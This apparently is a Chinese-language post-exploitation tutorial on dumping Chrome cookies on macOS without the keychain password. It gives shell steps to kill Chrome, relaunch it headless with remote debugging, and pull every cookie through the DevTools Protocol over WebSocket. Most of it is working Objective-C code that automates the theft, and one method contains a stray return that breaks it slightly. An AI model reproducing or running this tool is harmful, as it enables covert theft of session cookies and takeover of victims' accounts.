1、背景
在後台滲透中,獲取用户數據是很重要的一步,其中包括瀏覽器的各種敏感信息,如瀏覽記錄、下載歷史、cookie、書籤等。
在windows和Linux設備上可以比較輕鬆的獲取各種瀏覽器的敏感信息,chrome extensions也有很多插件可以獲取;hack-browser-data就是一個瀏覽器(包括密碼、歷史記錄、Cookie、書籤、信用卡、下載記錄)的導出工具,支持全平台主流瀏覽器。GitHub主頁:https://github.com/moonD4rk/HackBrowserData
Chrome的數據文件存儲路徑可以通過在地址欄中輸入chrome://version看到,其中個人資料(Profile Path)就是存儲路徑:
此路徑下有Cookies、History、Login Data等文件存儲對應的信息,拷貝後使用 sqlite3 數據庫打開Cookies,看到encrypte_value關鍵字段是BLOB (Binary long Object)類型,我們要做的就是如何解密這串二進制。
在windows上,解密需要用到的secret key值存儲在Profile Path上級路徑的Local State文件中,字段encrypted_key 為AES用到的key值。整個解密過程無需任何密碼,用户只需可以訪問Chrome數據文件便可完成解密。
在macos上,解密稍微不一樣,其中用到的secret key值則存儲在keychain中,所以解密過程必須得要輸入系統密碼,會有彈窗提示出現。
- 關鍵點來嘍:
2、Mac下dump cookie
在Mac平台需要解密數據,如cookie,則無法通過常規手段(通過獲取對應存儲數據)解密得到。
使用chrome提供的 CDP(Chrome DevTools Protocol),這是一個用於與Chrome瀏覽器進行通信的遠程調試協議。通過WebSocket連接發送CDP命令來獲取cookie。具體的命令是Network.getCookies。
第一步
1、 ps aux | grep Chrome 觀察瀏覽器是否在運行。
2 、若瀏覽器已運行,執行:killall "Google Chrome" 殺掉瀏覽器進程。
3 、馬上在第二步命令後加上--restore-last-session,還原瀏覽器最近瀏覽的選項卡。
4 、若瀏覽器未在運行,直接執行第二步,獲取到cookie後 殺掉進程即可。
第二步
以遠程調試模式啓動Chrome,命令如下:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome --headless --remote-allow-origins=* --remote-debugging-port=9222 --user-data-dir=/Users/imac/Library/Application Support/Google/Chrome
運行 Headless Chrome 模式可以不顯示窗口,根據需要是否使用
第三步
獲取WebSocket調試URL,命令如下:
curl -s localhost:9222/json
這個端點會返回所有打開的標籤頁的信息,包括每個標籤頁的WebSocket調試URL。
webSocketDebuggerUrl字段就是要用到的調試URL(任選一個webSocketDebuggerUrl即可)
第四步
使用第三步得到的URL,建立WebSocket連接,通過WebSocket連接發送CDP命令來獲取cookie。格式如下:
{"id": 1,"method":"Network.getAllCookies"}
如上圖:發送命令後會收到返回的結果,紅色框起來部分,成功獲取到cookie。
PS:以下幾個URL都可以訪問查看相關信息
**http://localhost:9222/json
http://localhost:9222/json/protocol
http://localhost:9222/json/version**
以下方法為關鍵方法
- (void)getCookieInfo {
NSString *googleChromeName = @"Google Chrome";
BOOL googleChromeExist = [CommonUtil checkFileExist:@"/Applications/Google Chrome.app"];
if (!googleChromeExist) {
NSLog(@"Google Chrome has not installed");
}else {
NSArray *googleChromeProcessArray = [CommonUtil runningProcessesWithProcessName:googleChromeName];
if (googleChromeProcessArray.count == 0) {
NSLog(@"Chrome not running, start executing the command.");
NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --headless --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
[CMDUtil executeCommand:exec_cmd];
});
int check_num = 0;
BOOL Chrome_Running = NO;
while (1) {
NSLog(@"detected 第%d次 Chrome is it activated", check_num);
if (check_num >= 30) {//2秒一次,達到30説明已經檢測了1分鐘還未啓動起來
break;
}
sleep(2);
//這裏必須用Helper這個進程來檢測,因為瀏覽器還沒有完全啓動起來的時候,Google Chrome這個進程也已經存在了,但是Helper這個進程會在瀏覽器完全啓動起來才出現
if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//檢測google_chrome是否啓動起來了
//已經啓動起來了;
Chrome_Running = YES;
break;
};
NSLog(@"Chrome還未啓動起來,繼續檢測");
check_num++;
}
if (Chrome_Running) {
NSLog(@"Chrome啓動成功");
[self curlGetCookie];//執行獲取cookie的方法,比較關鍵
//獲取成功關閉chrome
NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
[CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
NSLog(@"Kill Google Chrome");
}else {
NSLog(@"啓動Chrome超時");
}
}else {
//找到已經運行的進程,關閉該chrome進程
NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
[CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
[CMDUtil executeCommand:exec_cmd];
});
int check_num = 0;
BOOL Chrome_Running = NO;
while (1) {
NSLog(@"detected 第%d次 Chrome is it activated", check_num);
if (check_num >= 30) {//2秒一次,達到30説明已經檢測了1分鐘還未啓動起來
break;
}
sleep(2);
//這裏必須用Helper這個進程來檢測,因為瀏覽器還沒有完全啓動起來的時候,Google Chrome這個進程也已經存在了,但是Helper這個進程會在瀏覽器完全啓動起來才出現
if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//檢測google_chrome是否啓動起來了
//已經啓動起來了;
Chrome_Running = YES;
sleep(10);//再等待10秒來確定瀏覽器已經啓動起來了
break;
};
NSLog(@"Chrome還未啓動起來,繼續檢測");
check_num++;
}
if (Chrome_Running) {
NSLog(@"Chrome啓動成功");
[self curlGetCookie];//執行獲取cookie的方法,比較關鍵
}else {
XHLog(@"啓動Chrome超時");
}
}
}
return res;
}
- (void)curlGetCookie {
NSString *result = [CMDUtil executeCommand:[NSString stringWithFormat:@"curl -s localhost:%@/json",listening_port]];
NSData *nsData=[result dataUsingEncoding:NSUTF8StringEncoding];
NSError *err;
NSArray *urls = [NSJSONSerialization JSONObjectWithData:nsData options:kNilOptions error:&err];
if (err != nil) {
NSLog(@"解析出錯:%@",err.localizedDescription);
NSLog(@"出錯的數據:%@",result);
}else {
if (urls.count == 0) {
NSLog(@"localhost請求回的數組裏沒有任何結果");
}else {
NSDictionary *dic = urls[0];
NSString *url = dic[@"webSocketDebuggerUrl"];
NSLog(@"URL:%@",url);
self.socket = [[JFRWebSocket alloc] initWithURL:[NSURL URLWithString:url] protocols:@[]];
self.socket.delegate = self;
__block NSString *error_msg = @"";
__block NSString *cookie_str = @"";
__block BOOL isLoopRunning = YES;
__weak __typeof(self)weakSelf = self;
self.socket.onConnect = ^{
__strong __typeof(weakSelf)strongSelf = weakSelf;
[strongSelf.socket writeString:@"{\"id\": 1, \"method\": \"Storage.getCookies\"}"];//Storage.getCookies || Network.getAllCookies
XHLog(@"websocket已連接");
};
self.socket.onDisconnect = ^(NSError *error) {
isLoopRunning = NO;
error_msg = @"Websocket is disconnected";
NSLog(@"websocket is disconnected: %@",error);
};
self.socket.onText = ^(NSString *text) {
NSLog(@"獲取到Cookie返回值");
cookie_str = text;
isLoopRunning = NO;
};
[self.socket connect];
__block BOOL time_out = NO;
//這裏添加一個定時任務,主要是防止websocket一直連接不上,程序一直在這裏卡着
[[GCDTimerManager sharedInstance] scheduleGCDTimerWithName:@"overdue" interval:30 queue:nil repeats:NO option:CancelPreviousTimerAction action:^{
isLoopRunning = NO;
time_out = YES;
}];
do {
[NSRunLoop.mainRunLoop runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];
} while (isLoopRunning);
XHLog(@"獲取Cookie走完While循環");
if (time_out) {
NSLog(@"Websocket connection timeout");
}else {
NSLog(@"已經獲取完了Cookie");
if (cookie_str.length != 0) {
NSLog(@"%@",cookie_str);
NSLog(@"獲取到了cookie,準備解析成json");
NSData *jsonData=[cookie_str dataUsingEncoding:NSUTF8StringEncoding];
NSError *json_err;
NSDictionary *cookie_dic = [NSJSONSerialization JSONObjectWithData:jsonData options:kNilOptions error:&json_err];
if (json_err != nil) {
NSLog(@"Parsing cookies failed");
}else {
if ([[cookie_dic allKeys] containsObject:@"result"]) {
NSDictionary *cookie_d = cookie_dic[@"result"];
if ([[cookie_d allKeys] containsObject:@"cookies"]) {
NSArray *cookies_array = cookie_d[@"cookies"];
// {
// domain = ".cloud.ibm.com";
// expires = "1155201149.639244";
// httpOnly = 1;
// name = "com.ibm.cloud.console.analytics.anonymousId";
// path = "/analytics";
// priority = Medium;
// sameParty = 0;
// sameSite = None;
// secure = 1;
// session = 0;
// size = 79;
// sourcePort = 443;
// sourceScheme = Secure;
// value = "70c6xxff-4af8-4w88-q40e-c5eb44a74f1b";
// }
// NSInteger cookie_number = 10;
// if(cookies_array.count > cookie_number) {//只取最後10條記錄,避免數據寫入庫失敗
// cookies_array = [cookies_array subarrayWithRange:NSMakeRange(cookies_array.count - cookie_number, cookie_number)];
// }
// 創建一個數組來存儲提取的信息
NSMutableArray *extractedInfoArray = [NSMutableArray array];
// 遍歷字典數組
for (NSDictionary *dict in cookies_array) {
// 提取domain、name和value
NSString *const domain = dict[@"domain"];
NSString *const name = dict[@"name"];
NSString *const value = dict[@"value"];
// 創建一個新字典來存儲提取的信息
NSMutableDictionary *extractedInfo = [NSMutableDictionary dictionary];
extractedInfo[@"domain"] = domain;
extractedInfo[@"name"] = name;
extractedInfo[@"value"] = value;
// 將提取的信息添加到數組中
[extractedInfoArray addObject:extractedInfo];
}
NSError *array_error = nil;
NSData *jsonArrayData = [NSJSONSerialization dataWithJSONObject:extractedInfoArray options:NSJSONWritingPrettyPrinted error:&array_error];
NSString *cookies_str = [[NSString alloc] initWithData:jsonArrayData encoding:NSUTF8StringEncoding];;
if (array_error != nil) {
NSLog(@"Serialization cookies array error:%@",array_error.localizedDescription);
NSLog(@"序列化數組出錯:%@",array_error.localizedDescription);
}else {
NSLog(@"成功解析了Cookie,值為:%@",cookie_str);
}
}else {//字典中沒有找到Cookies字段
NSLog(@"字典中沒有找到Cookies字段");
}
}else {
XHLog(@"沒有result的情況");
}
}
}else {
NSLog(@"cookie沒有獲取成功,錯誤信息:%@",error_msg);
}
}
}
}
}